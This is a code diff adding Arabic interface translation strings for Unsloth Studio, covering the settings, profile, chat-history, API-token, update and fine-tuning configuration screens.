+        showLlamaUpdatesDescription:
+          "التنبيه عند توفر إصدار أحدث من llama.cpp لتشغيل نماذج جديدة. أوقف التشغيل إذا كنت تُدرّب فقط.",
+      },
+      gettingStarted: "البدء",
+      startOnboarding: "بدء الإعداد التمهيدي",
+      startOnboardingDescription:
+        "إعادة فتح معالج الإعداد دون تغيير حسابك.",
+      startOnboardingAction: "بدء الإعداد التمهيدي",
+      uploads: {
+        sectionTitle: "التحميلات",
+        maxUploadSize: "الحد الأقصى لتحميل مجموعة بيانات التدريب",
+        maxUploadSizeDescription: "القيمة الافتراضية هي {defaultSize} ميجابايت.",
+      },
+      rag: {
+        sectionTitle: "المستندات وRAG",
+        embeddingModel: "نموذج التضمين (Embedding)",
+        embeddingModelDescription:
+          "نموذج Hugging Face أو مسار محلي يُستخدم لفهرسة مستنداتك والبحث فيها. القيمة الافتراضية هي {defaultModel}.",
+        reindexWarning:
+          "يؤثر فقط على المستندات المفهرسة حديثًا. أعد تحميل المستندات الحالية بعد تغيير النموذج.",
+        emptyError: "أدخل معرّف نموذج Hugging Face أو مسارًا محليًا.",
+        loadError: "فشل تحميل إعداد نموذج التضمين.",
+        saveError: "فشل حفظ نموذج التضمين.",
+        saved: "تم حفظ نموذج التضمين.",
+        saveAnyway: "الحفظ على أي حال",
+        resetAction: "إعادة التعيين إلى الافتراضي",
+      },
+      storage: {
+        sectionTitle: "التخزين",
+        modelsFolder: "مجلد النماذج",
+        modelsFolderDescription: "المكان الذي تُخزَّن فيه النماذج المُنزَّلة.",
+        openAction: "فتح",
+        copyAction: "نسخ المسار",
+        copied: "تم نسخ المسار",
+        openError: "تعذّر فتح المجلد",
+        copyError: "تعذّر نسخ المسار",
+      },
+      resetPreferences: {
+        sectionTitle: "منطقة الخطر",
+        label: "إعادة تعيين جميع التفضيلات المحلية",
+        description:
+          "يمسح التفضيلات المحلية فقط. تُحفظ المحادثات ووصول API والإعدادات المخزّنة في قاعدة البيانات.",
+        action: "إعادة تعيين التفضيلات",
+        confirmTitle: "إعادة تعيين جميع التفضيلات المحلية؟",
+        confirmDescription:
+          "يمسح التفضيلات المحلية فقط ويعيد تحميل Unsloth. تُحفظ المحادثات ووصول API والإعدادات المخزّنة في قاعدة البيانات.",
+        confirmAction: "إعادة التعيين وإعادة التحميل",
+      },
+    },
+    profile: {
+      title: "الملف الشخصي",
+      description: "كيفية ظهور ملفك الشخصي في Unsloth.",
+      changePicture: "تغيير صورة الملف الشخصي",
+      displayName: "الاسم المعروض",
+      nickname: "بماذا يجب أن يناديك Unsloth؟",
+      nicknamePlaceholder: "اللقب",
+      nicknameSaved: "تم حفظ الاسم المفضّل",
+      avatarShape: "شكل صورة الملف الشخصي",
+      avatarShapeCircle: "دائري",
+      avatarShapeRounded: "مستدير الحواف",
+      chooseSloth: "أو اختر كسلانًا",
+      nameSaved: "تم حفظ اسم الملف الشخصي",
+      namePersistErrorTitle: "تعذّر حفظ اسم الملف الشخصي",
+      namePersistErrorDescription:
+        "تم تحديث الاسم لهذه الجلسة، لكنه قد لا يُحفظ بعد إعادة التحميل.",
+      photoUpdated: "تم تحديث صورة الملف الشخصي",
+      photoPersistErrorTitle: "تعذّر حفظ صورة الملف الشخصي",
+      photoPersistErrorDescription:
+        "تم تحديث الصورة لهذه الجلسة، لكنها قد لا تُحفظ بعد إعادة التحميل.",
+      photoUpdateErrorTitle: "تعذّر تحديث صورة الملف الشخصي",
+      imageUseError: "تعذّر استخدام هذه الصورة.",
+    },
+    appearance: {
+      title: "المظهر",
+      description: "كيفية ظهور Unsloth Studio على هذا الجهاز.",
+      theme: {
+        title: "السمة",
+        label: "نظام الألوان",
+        description: "فاتح أو داكن أو اتباع نظامك.",
+        system: "النظام",
+        light: "فاتح",
+        dark: "داكن",
+      },
+      language: {
+        title: "اللغة",
+        label: "لغة العرض",
+        description: "اللغة التي يستخدمها Unsloth.",
+        autoDetect: "اكتشاف تلقائي",
+      },
+      layout: {
+        title: "التخطيط",
+        compactSidebar: "تثبيت الشريط الجانبي افتراضيًا",
+        compactSidebarDescription:
+          "إبقاء الشريط الجانبي موسّعًا بدلاً من طيّه إلى أيقونات.",
+      },
+    },
+    resources: {
+      title: "النظام",
+      description: "مراقبة أجهزة خادم Unsloth هذا وتخزينه.",
+      liveUpdates: "التحديثات المباشرة",
+      floatingWindow: "نافذة عائمة",
+      disableOverlay: "تعطيل التراكب",
+      liveMonitor: {
+        title: "المراقبة المباشرة",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "القرص",
+        vram: "VRAM",
+        cpuCores: "{logical} نواة منطقية / {physical} نواة فعلية",
+        currentLoad: "الحمل الحالي",
+        free: "{value} متاح",
+        noGpu: "لا يوجد GPU مرئي",
+      },
+      gpu: {
+        title: "أجهزة GPU",
+        noGpu: "لم يُكتشف أي GPU مرئي. تُعرض موارد CPU فقط أعلاه.",
+        unknownDevice: "GPU غير معروف",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} مستخدم",
+        free: "{value} متاح",
+        total: "{value} إجمالي",
+      },
+      storage: {
+        title: "التخزين",
+        systemDisk: "قرص النظام",
+        diskUsage: "{used} مستخدم / {total}",
+        diskFree: "{free} متاح",
+        modelsFolder: "مجلد النماذج",
+        modelsFolderDescription: "المكان الذي تُخزَّن فيه النماذج المُنزَّلة.",
+        openAction: "فتح",
+        copyAction: "نسخ المسار",
+        copied: "تم نسخ المسار",
+        openError: "تعذّر فتح المجلد",
+        copyError: "تعذّر نسخ المسار",
+      },
+      environment: {
+        title: "البيئة",
+        backend: "الخادم الخلفي",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "مدة التشغيل",
+        processMemory: "ذاكرة العملية",
+        notInstalled: "غير مثبّت",
+        unknown: "غير معروف",
+      },
+    },
+    chat: {
+      title: "المحادثة",
+      description: "إدارة سجل المحادثات المخزّن على هذا الجهاز.",
+      modelDisclaimer: "إظهار إخلاء مسؤولية النموذج",
+      modelDisclaimerDescription:
+        'إظهار "قد ترتكب نماذج LLM أخطاء" أسفل مربع المحادثة.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "طي كتل HTML",
+        collapseHtmlBlocksDescription:
+          "يطوي وضع Canvas ملفات HTML الكاملة تلقائيًا. فعّل هذا لطي مستندات HTML المُحاطة بأسوار أيضًا عند إيقاف Canvas.",
+        allowNetworkAccess: "السماح بوصول Canvas إلى الشبكة",
+        allowNetworkAccessDescription:
+          "اسمح لمعاينات Canvas بتحميل النصوص البرمجية والأنماط والخطوط والوسائط وموارد الشبكة من شبكات CDN. أبقِه معطّلاً للمعاينات دون اتصال بالكامل.",
+      },
+      data: "البيانات",
+      exportHistory: "تصدير سجل المحادثات",
+      exportHistoryDescription: "تنزيل جميع المحادثات والرسائل بصيغة JSON.",
+      exportAction: "تصدير",
+      exportingAction: "جارٍ التصدير...",
+      exportConversations: "تصدير الأخيرة والمشاريع",
+      exportConversationsDescription:
+        "تنزيل الأخيرة أو الأخيرة مع محادثات المشاريع بصيغة Raw JSONL أو CSV أو ShareGPT JSONL، مجمّعة أو لكل محادثة.",
+      exportConversationsAction: "تصدير",
+      exportScopeRecents: "الأخيرة",
+      exportScopeAll: "الأخيرة + المشاريع",
+      exportCombinedSuffix: "(مجمّعة)",
+      exportPerChatSuffix: "(لكل محادثة)",
+      importChats: "استيراد المحادثات",
+      importChatsDescription:
+        "استيراد ملف تصدير بصيغة JSONL أو NDJSON أو CSV إلى الأخيرة.",
+      importChatsAction: "استيراد",
+      importNoConversations: "لم يُعثر على محادثات في الملف.",
+      importedOneChat: "تم استيراد محادثة واحدة إلى الأخيرة.",
+      importedChatCount: "تم استيراد {count} محادثة إلى الأخيرة.",
+      importFailed: "فشل الاستيراد.",
+      clearHistory: "مسح سجل المحادثات",
+      clearHistoryDescription: "حذف سجل المحادثات من هذا الجهاز.",
+      clearAction: "مسح",
+      clearAllChats: "مسح جميع المحادثات",
+      clearAllChatsDescription: "حذف كل محادثة على هذا الجهاز نهائيًا.",
+      noChatsToClear: "لا توجد محادثات لمسحها.",
+      clearOneChatDescription:
+        "حذف المحادثة الوحيدة على هذا الجهاز نهائيًا.",
+      clearChatCountDescription:
+        "حذف جميع المحادثات الـ {count} على هذا الجهاز نهائيًا.",
+      clearChatsAction: "مسح المحادثات",
+      clearOneChatTitle: "مسح محادثة واحدة؟",
+      clearChatsTitle: "مسح {count} محادثة؟",
+      clearChatsConfirmDescription:
+        "يحذف كل محادثة على هذا الجهاز نهائيًا. لا يمكن التراجع عن هذا الإجراء.",
+      clearingAction: "جارٍ المسح...",
+      clearOneChatAction: "مسح محادثة واحدة",
+      clearChatCountAction: "مسح {count} محادثة",
+      clearedAllChats: "تم مسح جميع المحادثات",
+      clearedOneChat: "تم مسح محادثة واحدة",
+      clearedChatCount: "تم مسح {count} محادثة",
+      someChatsCouldNotBeCleared: "تعذّر مسح بعض المحادثات",
+      chatsClearedRemainOne:
+        "تم مسح {clearedCount} محادثة؛ تبقّت محادثة واحدة. يُرجى إعادة المحاولة.",
+      chatsClearedRemain:
+        "تم مسح {clearedCount} محادثة؛ تبقّت {remainingCount} محادثة. يُرجى إعادة المحاولة.",
+      oneChatClearedRemain:
+        "تم مسح محادثة واحدة؛ تبقّت {remainingCount} محادثة. يُرجى إعادة المحاولة.",
+      oneChatClearedRemainOne:
+        "تم مسح محادثة واحدة؛ تبقّت محادثة واحدة. يُرجى إعادة المحاولة.",
+      storageClearFailedOne:
+        "فشل مسح أحد مواقع التخزين؛ قد تبقى محادثة واحدة. يُرجى إعادة المحاولة.",
+      storageClearFailed:
+        "فشل مسح أحد مواقع التخزين؛ قد تبقى {count} محادثة. يُرجى إعادة المحاولة.",
+      failedToClearChats: "فشل مسح المحادثات",
+    },
+    connections: {
+      title: "الاتصالات",
+      description: "إدارة المزوّدين والاتصالات الخارجية.",
+    },
+    apiKeys: {
+      title: "API",
+      description: "الوصول إلى Unsloth عبر API المتوافق مع OpenAI.",
+      readDocs: "قراءة وثائق API",
+      noAccess: "لا يوجد وصول إلى API بعد.",
+      accessTokens: "توكنات الوصول",
+      loadError: "تعذّر تحميل وصول API.",
+      createError: "تعذّر إنشاء توكن الوصول.",
+      revokeError: "تعذّر إلغاء توكن الوصول.",
+      never: "أبدًا",
+      tokenNamePlaceholder: "اسم التوكن (مثل production)",
+      newAccessTokenName: "اسم توكن الوصول الجديد",
+      createToken: "إنشاء توكن",
+      creating: "جارٍ الإنشاء...",
+      newTokenCreated: "تم إنشاء توكن وصول جديد",
+      accessTokenCopied: "تم نسخ توكن الوصول",
+      copyAccessToken: "نسخ توكن الوصول",
+      copyNow: "انسخه الآن - لن يُعرض مرة أخرى.",
+      usageExamples: "أمثلة الاستخدام",
+      usageTools: "الأدوات",
+      exampleCurlTools: "curl + أدوات",
+      examplePythonTools: "Python + أدوات",
+      exampleJavaScriptTools: "JavaScript + أدوات",
+      exampleCurlAdvanced: "curl + متقدم",
+      examplePythonAdvanced: "Python + متقدم",
+      exampleJavaScriptAdvanced: "JavaScript + متقدم",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "HTTPS آمن",
+      secureHttpsHint:
+        "لا يزال منفذ 0.0.0.0 قابلاً للوصول عالميًا. للحصول على أمان كامل، شغّل Unsloth Studio باستخدام --secure لعرض رابط HTTPS هذا فقط.",
+      copyTunnelUrl: "نسخ رابط النفق",
+      copySnippet: "نسخ المقتطف",
+      copy: "نسخ",
+      copied: "تم النسخ",
+      setupDocs: "وثائق الإعداد:",
+      codingAgents: "وكلاء البرمجة",
+      codingAgentsHint:
+        "شغّل وكيل برمجة مقابل هذا الخادم. يستخدم النموذج المُحمَّل؛ الخادم المحلي يُنشئ مفتاح API تلقائيًا، والخادم البعيد يُضمّنه في الأمر.",
+      codingAgentsSwap: "استبدل claude بـ codex أو openclaw أو opencode أو hermes أو pi.",
+      codingAgentDetected: "مثبّت على هذا الجهاز",
+      codingAgentsDetectedHint: "تم اكتشافه على هذا الجهاز: {agents}.",
+      relativeNever: "أبدًا",
+      relativeJustNow: "الآن",
+      relativeHoursAgo: "قبل {count} ساعة",
+      relativeDaysAgo: "قبل {count} يوم",
+      relativeMonthsAgo: "قبل {count} شهر",
+      relativeYearsAgo: "قبل {count} سنة",
+      expired: "منتهي الصلاحية",
+      today: "اليوم",
+      inDays: "خلال {count} يوم",
+      created: "أُنشئ {value}",
+      used: "استُخدم {value}",
+      expires: "ينتهي {value}",
+      actionsFor: "إجراءات {name}",
+      copyPrefix: "نسخ البادئة",
+      revokeToken: "إلغاء التوكن",
+      revokeTitle: 'إلغاء توكن الوصول "{name}"؟',
+      revokeDescription:
+        "ستفقد التطبيقات التي تستخدم هذا التوكن الوصول فورًا. لا يمكن التراجع عن هذا الإجراء.",
+      revokeAction: 'إلغاء "{name}"',
+      revoking: "جارٍ الإلغاء...",
+    },
+    about: {
+      title: "حول",
+      description: "الوثائق وملاحظات الإصدار والملاحظات ومعلومات البناء.",
+      studioVersion: "إصدار Unsloth",
+      packageVersion: "إصدار الحزمة",
+      llamaCppVersion: "إصدار llama.cpp",
+      hardware: "الأجهزة",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "التحديث",
+      help: "مساعدة",
+      documentation: "الوثائق",
+      releaseNotes: "ملاحظات الإصدار",
+      whatsNew: "ما الجديد",
+      feedback: "الملاحظات",
+      reportIssue: "الإبلاغ عن مشكلة",
+      license: {
+        sectionTitle: "الترخيص",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "مفتوح المصدر بموجب GNU AGPL v3.0.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "مرخّص بموجب Apache 2.0.",
+      },
+      dangerZone: "منطقة الخطر",
+      shutDownStudio: "إيقاف تشغيل Unsloth Studio",
+      shutDownStudioDescription:
+        "يوقف خادم Unsloth وينهي جلستك.",
+      shutDown: "إيقاف التشغيل",
+      update: {
+        title: "تحديث Unsloth Studio",
+        commandText: "نص {label}",
+        copied: "تم النسخ",
+        copyCommand: "نسخ الأمر",
+        commandCopied: "تم نسخ {label}",
+        copyNamedCommand: "نسخ {label}",
+        checkingInstall: "جارٍ التحقق من طريقة تثبيت Unsloth...",
+        installIntro: "لتثبيت أو تحديث Unsloth:",
+        localUpdateHeading: "تحديث محلي",
+        installCommandUnix: "أمر التثبيت لـ macOS/Linux",
+        installCommandWindows: "أمر التثبيت لـ Windows",
+        localInstallDetected:
+          "تم اكتشاف تثبيت محلي. حدّث من نسختك الأصلية لتجنّب استبدالها بإصدار PyPI.",
+        pullThenUpdate:
+          "اسحب أحدث التغييرات، ثم شغّل المثبّت المحلي:",
+        gitPullCommand: "أمر git pull",
+        localInstallerCommand: "أمر المثبّت المحلي",
+        sourceInstallDetected:
+          "تم اكتشاف تثبيت من المصدر أو حزمة VCS. أعد التثبيت من المسار المحلي الأصلي أو رابط Git.",
+        repoCheckoutFallback:
+          "إذا كانت لا تزال لديك نسخة المستودع، شغّل المثبّت المحلي منها:",
+        restartAfterUpdate: "أعد تشغيل Unsloth بعد التحديث.",
+        desktopManaged:
+          "يُبقي تطبيق سطح المكتب خادمه الخلفي المُضمَّن محدّثًا وسيُنبّهك عند توفر إصدار جديد.",
+        unknownInstall:
+          "تعذّر اكتشاف طريقة تثبيت Unsloth. لعمليات تثبيت المثبّت أو PyPI، استخدم الأوامر أعلاه.",
+        localCheckout:
+          "لعمليات تثبيت النسخة المحلية، شغّل المثبّت المحلي من تلك النسخة:",
+        docs: "وثائق التثبيت:",
+        docsInstall: "التثبيت",
+        docsUpdating: "التحديث",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "تدريب",
+    title: "استوديو الضبط الدقيق",
+    subtitles: {
+      configure: "إعداد التدريب وبدئه",
+      trainingInProgress: "التدريب قيد التقدم",
+      viewPastRuns: "عرض عمليات التدريب السابقة",
+      viewingPastRun: "عرض عملية سابقة",
+    },
+    tabs: {
+      configure: "الإعداد",
+      currentRun: "العملية الحالية",
+      history: "السجل",
+    },
+    loadingRuntime: "جارٍ تحميل بيئة تشغيل التدريب...",
+    backToHistory: "العودة إلى السجل",
+    sections: {
+      model: "النموذج",
+      dataset: "مجموعة البيانات",
+      params: "المعلمات",
+      training: "التدريب",
+      charts: "الرسوم البيانية",
+      progress: "تقدم التدريب",
+    },
+    configure: {
+      title: "الإعداد",
+      description: "اختر نموذجًا ومجموعة بيانات وإعدادات التدريب.",
+      startTraining: "بدء التدريب",
+      starting: "جارٍ البدء...",
+      loadingModel: "جارٍ تحميل النموذج...",
+      checkingDataset: "جارٍ التحقق من مجموعة البيانات...",
+      trainingConfig: "تكوين التدريب",
+    },
+    model: {
+      title: "النموذج",
+      description: "اختر النموذج الأساسي وطريقة التدريب",
+      fasterTrainingBadge: "تدريب أسرع بمقدار الضعف",
+      baseModel: "النموذج الأساسي",
+      localModel: "نموذج محلي",
+      localModelTooltip:
+        "مسار إلى نموذج مُنزَّل محليًا أو مستودع HF مخصّص.",
+      scanningLocalAndCachedModels: "جارٍ فحص النماذج المحلية والمخزّنة مؤقتًا...",
+      scanning: "جارٍ الفحص...",
+      scanningLocalModels: "جارٍ فحص النماذج المحلية...",
+      noLocalModelsFound: "لم يُعثر على نماذج محلية",
+      noLocalModelsFoundManual: "لم يُعثر على نماذج محلية. أدخل المسار يدويًا.",
+      failedToLoadLocalModels: "فشل تحميل النماذج المحلية",
+      hfCache: "ذاكرة HF المؤقتة",
+      customFolders: "مجلدات مخصّصة",
+      localDir: "الدليل المحلي",
+      huggingFaceModel: "نموذج Hugging Face",
+      huggingFaceModelTooltip:
+        "ابحث في نماذج Hugging Face أو اختر من قائمتنا الموصى بها.",
+      searchModels: "بحث في النماذج...",
+      searching: "جارٍ البحث...",
+      noModelsFound: "لم يُعثر على نماذج",
+      needsVram: "يحتاج إلى ~{vram} جيجابايت VRAM (GPU: {gpu} جيجابايت)",
+      tightVram: "~{vram} جيجابايت VRAM (ملاءمة ضيقة على {gpu} جيجابايت)",
+      vramEstimate: "~{vram} جيجابايت VRAM",
+      method: "الطريقة",
+      methodTooltip:
+        "تستخدم QLoRA التكميم بـ 4 بت لأقل استهلاك VRAM. تستخدم LoRA 16 بت. Full تحدّث جميع الأوزان. تُدرّب CPT (المعالجة التمهيدية المستمرة) على نص خام لتكييف النموذج مع مجال جديد دون تنسيق المحادثة.",
+      readMore: "اقرأ المزيد",
+      fullFineTune: "ضبط دقيق كامل",
+      checkingToken: "جارٍ التحقق من التوكن...",
+      getOrUpdateToken: "الحصول على التوكن أو تحديثه",
+      huggingFaceTokenOptional: "توكن Hugging Face (اختياري)",
+      continuedPretraining: "المعالجة التمهيدية المستمرة",
+      localModels: "النماذج المحلية",
+      localModelsFound: "تم العثور على {count} نموذج محلي/مخزّن مؤقتًا",
+      loadingLocalModels: "جارٍ تحميل النماذج المحلية...",
+    },
+    dataset: {
+      title: "مجموعة البيانات",
+      description: "اختر بيانات التدريب أو حمّلها",
+      source: "مصدر مجموعة البيانات",
+      chooseDataset: "اختر مجموعة بيانات",
+      chooseDatasetTooltip:
+        "استخدم علامات التبويب المنبثقة للتبديل بين Hugging Face ومخرجات الوصفات المحلية.",
+      localTab: "محلي",
+      searchHuggingFaceDatasets: "بحث في مجموعات بيانات Hugging Face...",
+      searchLocalDatasets: "بحث في مجموعات البيانات المحلية...",
+      searching: "جارٍ البحث...",
+      noDatasetsFound: "لم يُعثر على مجموعات بيانات",
+      loadingLocalDatasets: "جارٍ تحميل مجموعات البيانات المحلية...",
+      failedToLoadLocalDatasets: "فشل تحميل مجموعات البيانات المحلية.",
+      noLocalDatasetsYet: "لا توجد مجموعات بيانات محلية بعد.",
+      noLocalDatasetsMatchSearch: "لا توجد مجموعات بيانات محلية تطابق البحث.",
+      openDataRecipes: "فتح Data Recipes",
+      browsingSource: "تصفّح {browsing}. يبقى التحديد الحالي {current}.",
+      localDatasets: "مجموعات البيانات المحلية",
+      localDataset: "مجموعة بيانات محلية",
+      localDatasetRows: " / {count} صف",
+      huggingFaceDataset: "مجموعة بيانات Hugging Face",
+      localDatasetMetadata: "بيانات وصفية لمجموعة البيانات المحلية",
+      dataRecipeOutput: "مخرجات Data Recipe.",
+      rows: "الصفوف",
+      columns: "الأعمدة",
+      batches: "الدفعات",
+      updated: "تم التحديث",
+      evalDataset: "مجموعة بيانات التقييم",
+      uploading: "جارٍ التحميل...",
+      upload: "تحميل",
+      uploadEvalFile: "تحميل ملف التقييم",
+      evalDatasetDescription:
+        "اختياري. إذا لم يُقدَّم، سيتم فصل جزء صغير من بيانات التدريب.",
+      advanced: "متقدم",
+      targetFormat: "التنسيق المستهدف",
+      targetFormatTooltip:
+        "تنسيق بيانات التدريب الخاصة بك. يعمل الاكتشاف التلقائي مع معظم مجموعات البيانات.",
+      auto: "تلقائي",
+      rawText: "نص خام",
+      trainSplitStart: "بداية تقسيم التدريب",
+      trainSplitStartTooltip:
+        "درّب على جزء فرعي فقط من تقسيم التدريب عبر تحديد فهرس صف البداية (شامل، يبدأ من 0). اتركه فارغًا للبدء من الصف الأول.",
+      trainSplitEnd: "نهاية تقسيم التدريب",
+      trainSplitEndTooltip:
+        "آخر فهرس صف يُضمَّن من تقسيم التدريب (شامل، يبدأ من 0). على سبيل المثال، اضبط البداية على 0 والنهاية على 99 للتدريب على أول 100 صف. اتركه فارغًا لاستخدام جميع الصفوف المتبقية.",
+      endPlaceholder: "النهاية",
+      clear: "مسح",
+      dropFileOrClick: "أفلت ملفًا واحدًا هنا أو انقر للتحميل",
+      viewDataset: "عرض مجموعة البيانات",
+      uploadFailed: "فشل التحميل",
+      unknownError: "خطأ غير معروف",
+      unsupportedFileType: "نوع ملف غير مدعوم",
+      uploadOneFileType: "حمّل ملف {types} واحدًا.",
+      datasetUploaded: "تم تحميل مجموعة البيانات",
+      evalDatasetUploaded: "تم تحميل مجموعة بيانات التقييم",
+      uploadOneFileAtATime: "حمّل ملفًا واحدًا في كل مرة",
+      uploadSingleFileDescription:
+        "يقبل تحميل مجموعة بيانات التدريب ملفًا واحدًا.",
+      checkingToken: "جارٍ التحقق من التوكن...",
+      getOrUpdateToken: "الحصول على التوكن أو تحديثه",
+      preview: "معاينة مجموعة البيانات",
+      split: "التقسيم",
+      subset: "المجموعة الفرعية",
+      s3: {
+        title: "تكوين S3",
+        description:
+          "تحميل مجموعات بيانات .parquet أو .json أو .jsonl أو .csv من Amazon S3",
+        bucket: "اسم الحاوية (Bucket)",
+        bucketPlaceholder: "my-training-data-bucket",
+        region: "منطقة AWS",
+        regionPlaceholder: "us-east-1",
+        prefix: "بادئة المسار",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip: "مسار اختياري داخل الحاوية إلى ملفات مجموعة البيانات",
+        accessKeyId: "معرّف مفتاح الوصول",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "مفتاح الوصول السري",
+        secretAccessKeyPlaceholder: "مفتاح الوصول السري لـ AWS الخاص بك",
+        useIamRole: "استخدام دور IAM",
+        useIamRoleTooltip:
+          "استخدم بيانات اعتماد دور IAM بدلاً من مفاتيح الوصول (موصى به لـ EC2/SageMaker)",
+        testConnection: "اختبار الاتصال",
+        connectionSuccess: "تم الاتصال بحاوية S3 بنجاح",
+        connectionFailed: "فشل الاتصال بحاوية S3",
+        comingSoon: "تكامل S3 قريبًا",
+        comingSoonDescription:
+          "يتطلب تحميل مجموعات بيانات S3 مكتبة boto3. هذه الميزة قيد التطوير.",
+      },
+    },
+    params: {
+      title: "المعلمات",
+      description: "إعداد المعلمات الفائقة للتدريب",
+      projectName: "اسم المشروع",
+      optional: "اختياري",
+      projectNameDescription:
+        "يُستخدم في أسماء مجلدات مخرجات التدريب والقيم الافتراضية للتصدير والسجل.",
+      loraSettings: "إعدادات LoRA",
+      trainingHyperparameters: "المعلمات الفائقة للتدريب",
+      maxSteps: "الحد الأقصى للخطوات",
+      epochs: "الحقب (Epochs)",
+      useMaxSteps: "استخدام الحد الأقصى للخطوات",
+      useEpochs: "استخدام الحقب",
+      maxStepsTooltip: "تجاوز إجمالي خطوات المُحسِّن.",
+      epochsTooltip: "عدد المرات الكاملة للمرور على مجموعة البيانات.",
+      epochsDescription: "كل حقبة (epoch) هي مرور كامل واحد على مجموعة بياناتك.",
+      maxStepsDescription:
+        "يحدّ التدريب بعدد ثابت من خطوات المُحسِّن.",
+      contextLength: "طول السياق",
+      contextLengthTooltip: "الحد الأقصى لعدد التوكنات لكل عينة تدريب.",
+      customContextLength: "أدخل قيمة مخصّصة",
+      contextLengthDescription: "الحد الأقصى لطول التسلسل لعينات التدريب",
+      learningRate: "معدل التعلم",
+      learningRateTooltip:
+        "حجم خطوة تحديثات الأوزان. القيم الأقل تُدرّب ببطء أكبر لكن باستقرار أكبر.",
+      learningRateDescription:
+        "موصى به: 2e-4 لـ LoRA، 5e-5 لـ CPT، 2e-5 للضبط الدقيق الكامل",
+      embeddingLearningRate: "معدل تعلم التضمين (Embedding)",
+      embeddingLearningRateTooltip:
+        "يُستخدم فقط عندما تُدرّب CPT على embed_tokens. التضمينات أسهل في زعزعة استقرارها من أوزان LoRA، لذا تحتاج عادةً إلى معدل تعلم أصغر. اتركه فارغًا لاستخدام lr/10؛ النطاق المعتاد أصغر بمقدار 2x إلى 10x من معدل التعلم الرئيسي. زِده فقط إذا كان تكييف المفردات أو توكنات المجال بطيئًا جدًا.",
+      embeddingLearningRateDescription:
+        "اتركه فارغًا لاستخدام lr/10 (موصى به). النطاق المعتاد أصغر بمقدار 2x إلى 10x من معدل التعلم الرئيسي.",
+      rank: "Rank",
+      rankTooltip:
+        "بُعد المصفوفات منخفضة الرتبة. الأعلى = سعة أكبر.",
+      alpha: "Alpha",
+      alphaTooltip: "عامل القياس لتحديثات LoRA. عادةً ضعف قيمة Rank.",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "احتمال Dropout لطبقات LoRA لتقليل فرط التخصيص.",
+      visionLayers: "طبقات الرؤية",
+      languageLayers: "طبقات اللغة",
+      attentionModules: "وحدات الانتباه",
+      mlpModules: "وحدات MLP",
+      targetModules: "الوحدات المستهدفة",
+      enableLora: "تفعيل LoRA",
+      trainWithLora: "التدريب باستخدام LoRA",
+      stableRank: "Rank مستقر",
+      memoryEfficient: "موفّر للذاكرة",
+      optimization: "التحسين",
+      schedule: "الجدولة",
+      memory: "الذاكرة",
+      optimizer: "المُحسِّن",
+      optimizerTooltip:
+        "خوارزمية التحسين. تقلّل متغيرات 8 بت استخدام الذاكرة. يوصى بـ Fused لنماذج الرؤية.",
+      lrScheduler: "مُجدوِل معدل التعلم",
+      lrSchedulerTooltip:
+        "كيفية تغيّر معدل التعلم خلال التدريب. Linear يتناقص بثبات؛ Cosine يتناقص في منحنى.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "خطي",
+        cosine: "جيب التمام (Cosine)",
+      },
+      batchSize: "حجم الدفعة",
+      batchSizeTooltip: "العينات المعالَجة لكل خطوة. الأعلى يستخدم VRAM أكثر.",
+      gradAccum: "تراكم التدرّج",
+      gradAccumTooltip: "يحاكي أحجام دفعات أكبر دون VRAM إضافي.",
+      weightDecay: "اضمحلال الأوزان",
+      weightDecayTooltip: "تنظيم L2 لمنع فرط التخصيص.",
+      warmupSteps: "خطوات الإحماء",
+      warmupStepsTooltip:
+        "زيادة معدل التعلم تدريجيًا في بداية التدريب لتحقيق الاستقرار.",
+      scheduleEpochsTooltip:
+        "عدد المرات الكاملة للمرور على مجموعة البيانات. اضبطه على 0 للتشغيل حسب الحد الأقصى للخطوات.",
+      saveSteps: "خطوات الحفظ",
+      saveStepsTooltip: "حفظ نقطة تحقق كل N خطوة. 0 للتعطيل.",
+      evalSteps: "خطوات التقييم",
+      evalStepsTooltip:
+        "نسبة إجمالي خطوات التدريب بين عمليات التقييم (0-1). اضبطها على 0 لتعطيل التقييم. مثال: 0.01 = تقييم كل 1% من الخطوات.",
+      seed: "البذرة (Seed)",
+      seedTooltip: "بذرة عشوائية لإمكانية إعادة الإنتاج.",
+      gradCheckpoint: "نقطة تحقق التدرّج",
+      gradCheckpointTooltip:
+        "مقايضة الحوسبة بالذاكرة عبر إعادة حساب التنشيطات.",
+      none: "بلا",
+      standard: "قياسي",
+      enablePacking: "تفعيل التعبئة (packing)",
+      assistantCompletionsOnly: "إكمالات المساعد فقط",
+      readMore: "اقرأ المزيد",
+    },
+    training: {
+      title: "التدريب",
+      description: "مراقبة التدريب والتحكم فيه",
+      chartNoDataTitle: "لا توجد بيانات تدريب بعد",
+      chartNoDataDescription: "ابدأ التدريب لرؤية تقدم الخسارة (loss)",
+      startTraining: "بدء التدريب",
+      starting: "جارٍ البدء...",
+      loadingModel: "جارٍ تحميل النموذج...",
+      checkingDataset: "جارٍ التحقق من مجموعة البيانات...",
+      configLabel: "تكوين التدريب",
+      upload: "تحميل",
+      uploadConfigTooltip: "تحميل تكوين YAML محفوظ",
+      save: "حفظ",
+      saveConfigTooltip: "تنزيل التكوين الحالي بصيغة YAML",
+      reset: "إعادة تعيين",
+      resetConfigTooltip: "إعادة التعيين إلى إعدادات النموذج الافتراضية",
+      configLoaded: "تم تحميل التكوين",
